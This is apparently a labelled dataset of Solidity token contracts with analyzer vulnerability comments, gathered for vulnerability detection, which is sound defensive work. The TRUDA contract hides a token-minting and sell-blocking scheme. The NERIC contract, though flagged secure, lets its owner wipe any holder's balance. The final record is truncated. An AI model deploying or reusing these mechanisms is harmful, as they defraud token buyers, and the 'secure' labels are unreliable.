{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract TRUDA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0485592): TRUDA._taxWallet should be immutable \n\t// Recommendation for 0485592: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b71914): TRUDA._initialBuyTax should be constant \n\t// Recommendation for 4b71914: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: be41002): TRUDA._initialSellTax should be constant \n\t// Recommendation for be41002: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5076677): TRUDA._reduceBuyTaxAt should be constant \n\t// Recommendation for 5076677: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec8ac6a): TRUDA._reduceSellTaxAt should be constant \n\t// Recommendation for ec8ac6a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 416bcb8): TRUDA._preventSwapBefore should be constant \n\t// Recommendation for 416bcb8: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Day\";\n\n string private constant _symbol = unicode\"TRUDA\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f0b47f4): TRUDA._taxSwapThreshold should be constant \n\t// Recommendation for f0b47f4: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0028518): TRUDA._maxTaxSwap should be constant \n\t// Recommendation for 0028518: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 12000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct UniversalBackup {\n uint256 orderNum;\n uint256 orderCopy;\n uint256 trackNum;\n }\n\n uint256 private orderPendingNum;\n\n\t// WARNING Optimization Issue (constable-states | ID: e768aca): TRUDA.universalOrder should be constant \n\t// Recommendation for e768aca: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 04fda53): TRUDA.universalOrder is never initialized. It is used in TRUDA._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 04fda53: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private universalOrder;\n\n mapping(address => UniversalBackup) private universalBackup;\n\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 63fe259): TRUDA.lastSellBlock should be constant \n\t// Recommendation for 63fe259: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x57649205686Fa37839420086d6C0f86638351eaD);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8fbab83): TRUDA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8fbab83: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5f4f160): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5f4f160: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5205f47): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5205f47: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5f4f160\n\t\t// reentrancy-benign | ID: 5205f47\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5f4f160\n\t\t// reentrancy-benign | ID: 5205f47\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6314957): TRUDA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6314957: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5205f47\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5f4f160\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c9ebc65): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c9ebc65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5e692e0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5e692e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a8b59fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a8b59fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = tokenAmount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c9ebc65\n\t\t\t\t// reentrancy-benign | ID: 5e692e0\n\t\t\t\t// reentrancy-eth | ID: a8b59fd\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c9ebc65\n\t\t\t\t\t// reentrancy-eth | ID: a8b59fd\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 5e692e0\n orderPendingNum = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapV2Pair) {\n UniversalBackup storage uniBackup = universalBackup[to];\n\n if (from == uniswapV2Pair) {\n if (uniBackup.orderNum == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 5e692e0\n uniBackup.orderNum = _buyCount <= _preventSwapBefore\n ? type(uint256).max\n : block.number;\n }\n } else {\n UniversalBackup storage uniBackupTrack = universalBackup[\n from\n ];\n\n if (\n uniBackup.orderNum == 0 ||\n uniBackupTrack.orderNum < uniBackup.orderNum\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 5e692e0\n uniBackup.orderNum = uniBackupTrack.orderNum;\n }\n }\n } else {\n UniversalBackup storage uniBackupTrack = universalBackup[from];\n\n\t\t\t\t// reentrancy-benign | ID: 5e692e0\n uniBackupTrack.orderCopy = uniBackupTrack.orderNum.sub(\n orderPendingNum\n );\n\n\t\t\t\t// reentrancy-benign | ID: 5e692e0\n uniBackupTrack.trackNum = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: c9ebc65\n\t\t// reentrancy-eth | ID: a8b59fd\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: a8b59fd\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: a8b59fd\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: c9ebc65\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 04fda53): TRUDA.universalOrder is never initialized. It is used in TRUDA._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 04fda53: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : universalOrder.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a8b59fd\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c9ebc65\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5f4f160\n\t\t// reentrancy-events | ID: c9ebc65\n\t\t// reentrancy-benign | ID: 5e692e0\n\t\t// reentrancy-benign | ID: 5205f47\n\t\t// reentrancy-eth | ID: a8b59fd\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5f4f160\n\t\t// reentrancy-events | ID: c9ebc65\n\t\t// reentrancy-eth | ID: a8b59fd\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot_) public onlyOwner {\n for (uint256 i = 0; i < notbot_.length; i++) {\n bots[notbot_[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4006016): TRUDA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4006016: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9be96b5): TRUDA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9be96b5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1a02ca5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1a02ca5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1a02ca5\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 4006016\n\t\t// reentrancy-eth | ID: 1a02ca5\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 9be96b5\n\t\t// reentrancy-eth | ID: 1a02ca5\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 1a02ca5\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_1026.sol", "secure": 0, "size_bytes": 21673 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ChillGuy is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Chill Guy\", \"Chill\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1027.sol", "secure": 1, "size_bytes": 593 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BYWT {\n address payable public immutable owner;\n\n constructor() {\n owner = payable(msg.sender);\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only the owner can call this function\");\n\n _;\n }\n\n function withdrawEther() external onlyOwner {\n owner.transfer(address(this).balance);\n }\n\n function withdrawToken(address tokenAddress) external onlyOwner {\n IERC20 token = IERC20(tokenAddress);\n\n uint256 balance = token.balanceOf(address(this));\n\n require(token.transfer(owner, balance), \"Token transfer failed\");\n }\n\n receive() external payable {}\n\n function tokenFallback(\n address _from,\n uint256 _value,\n bytes calldata _data\n ) external {}\n}", "file_name": "solidity_code_1028.sol", "secure": 1, "size_bytes": 931 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller must be the owner\");\n\n _;\n }\n\n function transferOwner(address newOwner) public onlyOwner {\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal {\n require(\n newOwner != address(0),\n \"Ownable: new owner shouldn't be zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function ownershipRenounce() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}", "file_name": "solidity_code_1029.sol", "secure": 1, "size_bytes": 1243 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract NERIC is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable cycle;\n\n constructor() {\n _name = \"NERIC\";\n\n _symbol = \"NERIC\";\n\n _decimals = 18;\n\n uint256 initialSupply = 650000000;\n\n cycle = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == cycle, \"Not allowed\");\n\n _;\n }\n\n function progl(address[] memory rawni) public onlyOwner {\n for (uint256 i = 0; i < rawni.length; i++) {\n address account = rawni[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_103.sol", "secure": 1, "size_bytes": 4343 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract GameboyToken is Context, IERC20, Ownable {\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isLimitFree;\n\n mapping(address => bool) private _blacklist;\n\n uint8 private constant _decimals = 18;\n\n string public constant website = \"https://gameboy.video/\";\n\n string public constant twitter = \"https://x.com/GameboyRevival/\";\n\n string public constant telegram = \"https://t.me/gameboycommunity\";\n\n string public constant tokenImage =\n \"https://ipfs.io/ipfs/Qmdm5Lg8BdcgHwVax91RBU1bEzunU7fzdLfe85d8Pw9FwX\";\n\n uint256 private constant _totalSupply = 1000000000 * 10 ** _decimals;\n\n string private constant _name = \"GAMEBOY\";\n\n string private constant _symbol = \"GAMEBOY\";\n\n uint256 public buyTax = 0;\n\n uint256 public sellTax = 0;\n\n uint256 public transferTax = 0;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n address public constant taxAddress =\n 0x19D77a491971b82Ae7B8aEf62EF9f30ac8E5c4Bd;\n\n bool private launch = false;\n\n constructor() {\n _balance[msg.sender] = _totalSupply;\n\n _isLimitFree[taxAddress] = true;\n\n _isLimitFree[msg.sender] = true;\n\n _isLimitFree[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0682e07): GameboyToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0682e07: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 74ecbb5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 74ecbb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3d1cae1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3d1cae1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 336c5db): GameboyToken.startTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 336c5db: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0e39ef1): GameboyToken.startTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0e39ef1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8e34272): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8e34272: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!launch, \"Trading already started\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-events | ID: 74ecbb5\n\t\t// reentrancy-benign | ID: 3d1cae1\n\t\t// reentrancy-eth | ID: 8e34272\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 74ecbb5\n\t\t// reentrancy-benign | ID: 3d1cae1\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// unused-return | ID: 336c5db\n\t\t// reentrancy-eth | ID: 8e34272\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 0e39ef1\n\t\t// reentrancy-eth | ID: 8e34272\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 8e34272\n launch = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4584163): GameboyToken.setTaxes(uint256,uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax transferTax = newTransferTax \n\t// Recommendation for 